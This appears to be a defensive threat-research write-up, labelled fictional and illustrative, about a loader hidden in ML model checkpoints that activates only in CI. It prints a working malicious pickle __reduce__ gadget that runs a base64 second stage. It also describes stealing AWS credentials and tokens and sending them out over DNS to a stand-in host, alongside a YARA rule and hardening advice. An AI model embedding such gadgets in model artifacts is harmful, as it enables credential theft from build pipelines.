Overview
Over the past two months we tracked a compact, disciplined loader we call Ghostloader. It does not target endpoints or servers directly. It targets the one machine every ML team trusts implicitly and monitors least: the CI runner that downloads a model and runs model.eval(). Ghostloader ships inside a model artifact, stays dormant everywhere except CI, and pulls its real payload only when it detects a build environment.
Illustrative threat research. The malware family, infrastructure, and indicators below are fictional and used to demonstrate technique.
The carrier
The artifact is a legitimate, loadable checkpoint. It produces correct-looking outputs on the advertised benchmark, which is why review passed. The malicious logic hides in two places:
- A crafted
__reduce__in a pickled auxiliary object bundled alongside the safetensors weights. - A base64 blob stashed in a free-form
metadataJSON field that most tooling never inspects.
When a loader deserializes the pickle, __reduce__ fires:
class _Config:
def __reduce__(self):
return (exec, (
"import os,base64,urllib.request as u\n"
"if any(k in os.environ for k in ('CI','GITHUB_ACTIONS','BUILD_ID')):\n"
" m=__import__('json').load(open('model.metadata'))\n"
" exec(base64.b64decode(m['notes']))",
))
The pickle only bootstraps. The real code lives in metadata.notes, so scanning the pickle bytecode for suspicious imports turns up almost nothing interesting.
The environment check
Ghostloader is deliberately shy. On a researcher's laptop it does nothing — the CI/GITHUB_ACTIONS/BUILD_ID guard fails and the object deserializes to an inert config. This is why it survived initial vetting: analysts who loaded it interactively saw benign behavior. Only inside a runner does the second stage decode and execute.
The second stage's job is narrow and high-value:
- Read
~/.aws/credentials,GITHUB_TOKEN, and any*_API_KEYfrom the environment. - Enumerate other artifacts in the pipeline's cache.
- Exfiltrate over DNS in 28-byte chunks to
sync.helios-telemetry[.]net(fictional). - Optionally patch a sibling model in the cache to carry the same implant — worming through a model registry.
Exfiltration
The DNS channel is the tell. Each request encodes a chunk of stolen secret as a subdomain label:
<base32-chunk>.<seq>.sync.helios-telemetry.net
Low and slow, one lookup every few seconds, blending into normal resolver noise. Because CI egress firewalls almost always allow DNS, this bypasses the HTTP proxying most teams rely on.
Detection
Static scanning of model artifacts catches the carrier before it ever runs. The reliable signals are a pickle containing exec/eval reduce gadgets and a metadata field holding a large base64 payload. YARA:
rule Ghostloader_ModelImplant {
meta:
author = "LoSec / @m4lloc"
description = "Pickle bootstrap + base64 metadata payload"
strings:
$reduce = "__reduce__" ascii
$exec1 = "exec" ascii
$ci = "GITHUB_ACTIONS" ascii
$b64 = /"notes"\s*:\s*"[A-Za-z0-9+\/]{200,}={0,2}"/
condition:
($reduce and $exec1 and $ci) or $b64
}
Behaviorally, alert on any CI job that performs DNS lookups with unusually long labels or reads credential files during a model evaluation step — a phase that has no business touching ~/.aws.
Indicators (fictional)
- C2:
sync.helios-telemetry[.]net,cdn.aperture-weights[.]io - Mutex/env guard: presence of
BUILD_IDtriggers stage two - SHA-256 (carrier):
9f2c...e41a - Exfil: base32 DNS labels, 28-byte chunks, seq counter in second label
Hardening ML CI
- Never unpickle untrusted checkpoints. Prefer safetensors and load with
weights_only=True. Treat pickle in a model like a macro in a document. - Egress-filter DNS. Force runners through a resolver that logs and rate-limits, and alert on long labels.
- Scope CI secrets. A model-eval step should not hold cloud credentials; use short-lived, task-scoped tokens.
- Scan artifacts at ingest, not at deploy — the whole point of Ghostloader is that it fires in the pipeline, upstream of everything you monitor.
Why this matters
The ML supply chain inherited every mistake the software supply chain spent a decade learning from, plus a new one: we hand arbitrary serialized objects to trusted, over-privileged automation and call it "loading a model." Ghostloader is not sophisticated. It is patient, and it understood exactly which machine we forgot to watch.